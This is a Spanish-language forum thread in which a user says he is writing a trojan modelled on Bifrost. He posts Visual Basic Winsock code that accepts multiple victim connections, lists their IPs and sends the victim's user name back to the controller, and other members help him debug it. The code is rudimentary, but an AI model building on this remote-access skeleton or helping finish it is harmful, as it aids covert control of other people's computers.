Aceptar varias conexiones

Iniciado por Ismy, 7 Enero 2006, 20:22 PM

0 Miembros y 1 Visitante están viendo este tema.

Ismy

dim ncon as integer
Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
ncon = ncon + 1
With ws(Index)
.Close
.Accept requestID
End With
Load ws(Index + 1)
With ws(Index + 1)
.LocalPort = port
.Listen
End With
ws(Index).SendData "hem acceptat la teva peticio de conexio" & vbCrLf
Beep
List1.AddItem (ws(Index).RemoteHostIP & " sa conectat")
End Sub


Estoy haciendo un troyano.
Quiero que tenga una interfaz parecida a la del bifrost, que salga la cuadricula con los conectados y de ahi selecciono el que quiera y llevo a cabo las acciones.

Pero estoy teniendo problemas con ese codigo.

Primero me daba error al compilar en:
Citar(Index As Integer, ByVal requestID As Long)

Decia que la declaracion del procedimiento no coincide con la descripcion del procedimiento del mismo nombre.

Asi que el Index as integer lo declare en General.

Despues el error me lo dio al cargar otro socket
CitarWith ws(Index)

Dice Numero de argumentos erroneo o asignacion de propiedad no valida

Necesito ayuda porque estoy atascado y he buscado por todos sitios y no encuentro nada al respecto.

Gracias

sch3m4

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Ismy

Gracias, me ha sido d mucha ayuda

Ismy

#3
De nuevo tengo problemas.

Modifiqué 1 poco el codigo a mis preferencias

El server cuando conecta me envia el nombre de usuario del pc: (por supuesto el strUserName lleva detras toda la API)

Private Sub Winsock1_Connect()
Winsock1.SendData strUserName
MsgBox "enviado"
End Sub


El cliente al recibir la variable con el nombre, mete en 1 listview 1 nombre, que despues podrá ser cambiado, para reconocer el Equipo, la IP del pc remoto, y el nombre de usuario.

Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strUserName As String
Call ws(Index).GetData(strUserName)
MsgBox "recibido"
Set ListItem = ListView1.ListItems.Add(, , "Nombre")
    ListItem.SubItems(1) = ws(Index).RemoteHostIP
    ListItem.SubItems(2) = strUserName


El problema, es que el cliente no recibe la variable strUserName, el MsgBox de enviado si sale, pero el msgbox de recibido no sale, por lo tanto creo que el error esta en el

Call ws(Index).GetData(strUserName)

Espero aclarar la duda, gracias

Salu2

Gangrel

Prueba con esta linea.


ws(Index).GetData strUserName
MsgBox strUserName  'para comprobar que los datos llegaron bien
La educacion no es un privilegio, es un derecho.

http://www.usuarios.lycos.es/protg

Ismy

Sigue sin añadirse al ListView, y el MsgBox tampoco sale...

Gracias de todos modos

sch3m4

prueba con esto

Private Sub Winsock1_Connect()
msgbox strusername
Winsock1.SendData strUserName
MsgBox "enviado"
End Sub
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Ismy

Ahora si que llega la variable, pero llega asi "????".....

He hecho de todo y sigue saliendome mal.